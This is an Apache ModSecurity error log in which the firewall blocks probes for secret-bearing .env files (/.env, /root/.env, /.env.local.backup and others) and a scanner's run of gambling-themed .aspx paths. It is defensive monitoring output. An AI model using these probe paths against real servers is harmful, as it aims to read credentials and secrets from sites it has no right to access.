[Sat Mar 21 00:02:15.507731 2026] [:error] [pid 38219:tid 38252] [client 162.158.3.92:10150] [client 162.158.3.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/web/.env"] [unique_id "ab1vh3LdNs2F_zXG7H8WCAAAAZY"]
[Sat Mar 21 00:02:25.418349 2026] [:error] [pid 49080:tid 49103] [client 162.158.3.89:9517] [client 162.158.3.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/home/.env"] [unique_id "ab1vkYk5CHi4V0A3ttg6OAAAAFE"]
[Sat Mar 21 00:02:25.446492 2026] [:error] [pid 49170:tid 49190] [client 162.158.3.92:12874] [client 162.158.3.92] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/var/www/html/.env"] [unique_id "ab1vkc-c8ctLVDCqUJXHDQAAABA"]
[Sat Mar 21 00:02:25.709078 2026] [:error] [pid 49082:tid 49161] [client 162.158.2.44:13127] [client 162.158.2.44] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_config"] [unique_id "ab1vkapllYJI1LUIdL8XhwAAAVM"]
[Sat Mar 21 00:02:25.947917 2026] [:error] [pid 49082:tid 49151] [client 172.69.150.13:11346] [client 172.69.150.13] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/root/.env"] [unique_id "ab1vkapllYJI1LUIdL8XigAAAUk"]
[Sat Mar 21 00:02:26.011828 2026] [:error] [pid 38378:tid 38403] [client 162.158.3.106:12291] [client 162.158.3.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_secret"] [unique_id "ab1vklKb3npPsu9Iib2Y9wAAAhU"]
[Sat Mar 21 00:02:26.255425 2026] [:error] [pid 38219:tid 38245] [client 162.158.2.45:10387] [client 162.158.2.45] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_settings"] [unique_id "ab1vknLdNs2F_zXG7H8WDAAAAY8"]
[Sat Mar 21 00:02:26.268906 2026] [:error] [pid 38219:tid 38244] [client 162.158.3.149:9878] [client 162.158.3.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local.backup"] [unique_id "ab1vknLdNs2F_zXG7H8WDQAAAY4"]
[Sat Mar 21 01:21:10.202131 2026] [:error] [pid 62479:tid 62514] [client 149.224.91.214:59324] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ab2CBvKZ7MVNG8qirU9bMAAAAQM"]
[Sat Mar 21 01:21:13.113640 2026] [:error] [pid 62479:tid 62523] [client 149.224.91.214:61445] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ab2CCfKZ7MVNG8qirU9bNQAAAQw"]
[Sat Mar 21 01:21:16.121290 2026] [:error] [pid 62754:tid 62830] [client 149.224.91.214:62177] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ab2CDBwXN_jHGJ5L7yFd1gAAAA8"]
[Sat Mar 21 01:21:19.162499 2026] [:error] [pid 62754:tid 62819] [client 149.224.91.214:59906] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ab2CDxwXN_jHGJ5L7yFd3wAAAAQ"]
[Sat Mar 21 01:21:22.026014 2026] [:error] [pid 62480:tid 62559] [client 149.224.91.214:63337] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ab2CErq1lu6xCJtkVarrTAAAAVU"]
[Sat Mar 21 01:21:24.915345 2026] [:error] [pid 62480:tid 62562] [client 149.224.91.214:64923] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ab2CFLq1lu6xCJtkVarrVAAAAVg"]
[Sat Mar 21 01:21:28.008838 2026] [:error] [pid 62480:tid 62558] [client 149.224.91.214:62024] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ab2CGLq1lu6xCJtkVarrWgAAAVQ"]
[Sat Mar 21 01:21:31.703686 2026] [:error] [pid 62479:tid 62524] [client 149.224.91.214:62726] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ab2CG_KZ7MVNG8qirU9bTwAAAQ0"]
[Sat Mar 21 01:21:34.973831 2026] [:error] [pid 62754:tid 62826] [client 149.224.91.214:62272] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ab2CHhwXN_jHGJ5L7yFeAwAAAAs"]
[Sat Mar 21 01:21:38.052992 2026] [:error] [pid 62754:tid 62820] [client 149.224.91.214:59670] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ab2CIhwXN_jHGJ5L7yFeEwAAAAU"]
[Sat Mar 21 01:21:41.532989 2026] [:error] [pid 62754:tid 62837] [client 149.224.91.214:61834] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ab2CJRwXN_jHGJ5L7yFeIgAAABY"]
[Sat Mar 21 01:21:44.836332 2026] [:error] [pid 62479:tid 62529] [client 149.224.91.214:62359] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ab2CKPKZ7MVNG8qirU9bWgAAARI"]
[Sat Mar 21 01:21:47.971061 2026] [:error] [pid 62754:tid 62826] [client 149.224.91.214:63652] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ab2CKxwXN_jHGJ5L7yFeMQAAAAs"]
[Sat Mar 21 01:21:51.083251 2026] [:error] [pid 62480:tid 62548] [client 149.224.91.214:63887] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ab2CL7q1lu6xCJtkVarrbwAAAUo"]
[Sat Mar 21 01:21:54.372267 2026] [:error] [pid 62480:tid 62552] [client 149.224.91.214:59972] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ab2CMrq1lu6xCJtkVarrdgAAAU4"]
[Sat Mar 21 01:21:57.595126 2026] [:error] [pid 62754:tid 62837] [client 149.224.91.214:62892] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ab2CNRwXN_jHGJ5L7yFeRgAAABY"]
[Sat Mar 21 01:22:00.560948 2026] [:error] [pid 62754:tid 62826] [client 149.224.91.214:59630] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ab2COBwXN_jHGJ5L7yFeTgAAAAs"]
[Sat Mar 21 01:22:03.669244 2026] [:error] [pid 62754:tid 62838] [client 149.224.91.214:61941] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ab2COxwXN_jHGJ5L7yFeWwAAABc"]
[Sat Mar 21 01:22:52.810170 2026] [:error] [pid 62480:tid 62560] [client 149.224.91.214:62027] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ab2CbLq1lu6xCJtkVarr0QAAAVY"]
[Sat Mar 21 01:22:55.721543 2026] [:error] [pid 62754:tid 62828] [client 149.224.91.214:61912] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ab2CbxwXN_jHGJ5L7yFfZgAAAA0"]
[Sat Mar 21 01:22:58.746610 2026] [:error] [pid 62754:tid 62824] [client 149.224.91.214:64144] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ab2CchwXN_jHGJ5L7yFfbwAAAAk"]
[Sat Mar 21 01:23:01.804911 2026] [:error] [pid 62754:tid 62823] [client 149.224.91.214:59499] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "ab2CdRwXN_jHGJ5L7yFfewAAAAg"]
[Sat Mar 21 01:23:04.916211 2026] [:error] [pid 62754:tid 62837] [client 149.224.91.214:61735] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "ab2CeBwXN_jHGJ5L7yFfjAAAABY"]
[Sat Mar 21 01:23:08.069802 2026] [:error] [pid 62754:tid 62833] [client 149.224.91.214:59503] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ab2CfBwXN_jHGJ5L7yFflwAAABI"]
[Sat Mar 21 01:23:11.595541 2026] [:error] [pid 62754:tid 62822] [client 149.224.91.214:60225] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ab2CfxwXN_jHGJ5L7yFfnAAAAAc"]
[Sat Mar 21 01:23:14.669604 2026] [:error] [pid 62479:tid 62532] [client 149.224.91.214:65186] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ab2CgvKZ7MVNG8qirU9b-gAAARU"]
[Sat Mar 21 01:23:17.527730 2026] [:error] [pid 62754:tid 62818] [client 149.224.91.214:65050] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ab2ChRwXN_jHGJ5L7yFfsAAAAAM"]
[Sat Mar 21 01:23:20.776362 2026] [:error] [pid 62476:tid 62498] [client 149.224.91.214:64202] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ab2CiGBL9BQ4RM1FKIB27AAAAE8"]
[Sat Mar 21 01:23:23.900953 2026] [:error] [pid 62479:tid 62517] [client 149.224.91.214:62167] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ab2Ci_KZ7MVNG8qirU9cFAAAAQY"]
[Sat Mar 21 01:23:28.974934 2026] [:error] [pid 62480:tid 62541] [client 149.224.91.214:59239] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ab2CkLq1lu6xCJtkVarsBQAAAUM"]
[Sat Mar 21 01:23:32.418442 2026] [:error] [pid 62479:tid 62520] [client 149.224.91.214:64484] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ab2ClPKZ7MVNG8qirU9cJAAAAQk"]
[Sat Mar 21 01:23:35.573787 2026] [:error] [pid 62480:tid 62561] [client 149.224.91.214:63324] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ab2Cl7q1lu6xCJtkVarsFgAAAVc"]
[Sat Mar 21 01:23:40.222739 2026] [:error] [pid 62479:tid 62513] [client 149.224.91.214:63940] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ab2CnPKZ7MVNG8qirU9cLgAAAQI"]
[Sat Mar 21 01:23:43.474347 2026] [:error] [pid 62754:tid 62826] [client 149.224.91.214:61656] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ab2CnxwXN_jHGJ5L7yFf5QAAAAs"]
[Sat Mar 21 01:23:46.318723 2026] [:error] [pid 62479:tid 62523] [client 149.224.91.214:60342] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ab2CovKZ7MVNG8qirU9cOgAAAQw"]
[Sat Mar 21 01:24:35.588203 2026] [:error] [pid 62476:tid 62486] [client 149.224.91.214:65181] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ab2C02BL9BQ4RM1FKIB3QwAAAEM"]
[Sat Mar 21 01:24:38.470397 2026] [:error] [pid 62480:tid 62545] [client 149.224.91.214:62201] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "ab2C1rq1lu6xCJtkVarscwAAAUc"]
[Sat Mar 21 01:24:41.736317 2026] [:error] [pid 62480:tid 62550] [client 149.224.91.214:62619] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "ab2C2bq1lu6xCJtkVarsewAAAUw"]
[Sat Mar 21 01:24:44.665131 2026] [:error] [pid 62479:tid 62524] [client 149.224.91.214:59152] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "ab2C3PKZ7MVNG8qirU9ccAAAAQ0"]
[Sat Mar 21 01:24:47.929317 2026] [:error] [pid 62480:tid 62550] [client 149.224.91.214:63399] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "ab2C37q1lu6xCJtkVarslQAAAUw"]
[Sat Mar 21 01:24:51.052919 2026] [:error] [pid 62479:tid 62513] [client 149.224.91.214:60586] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ab2C4_KZ7MVNG8qirU9cdgAAAQI"]
[Sat Mar 21 01:24:54.000992 2026] [:error] [pid 62754:tid 62833] [client 149.224.91.214:63893] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ab2C5RwXN_jHGJ5L7yFgjQAAABI"]
[Sat Mar 21 01:24:56.996793 2026] [:error] [pid 62479:tid 62516] [client 149.224.91.214:61180] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ab2C6PKZ7MVNG8qirU9cfgAAAQU"]
[Sat Mar 21 01:25:00.240070 2026] [:error] [pid 62480:tid 62548] [client 149.224.91.214:61476] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ab2C7Lq1lu6xCJtkVarsugAAAUo"]
[Sat Mar 21 01:25:03.311546 2026] [:error] [pid 62479:tid 62534] [client 149.224.91.214:63813] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ab2C7_KZ7MVNG8qirU9cggAAARc"]
[Sat Mar 21 01:25:06.509987 2026] [:error] [pid 62754:tid 62822] [client 149.224.91.214:63381] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ab2C8hwXN_jHGJ5L7yFgqwAAAAc"]
[Sat Mar 21 01:25:09.853997 2026] [:error] [pid 62479:tid 62523] [client 149.224.91.214:61321] [client 149.224.91.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ab2C9fKZ7MVNG8qirU9cjAAAAQw"]
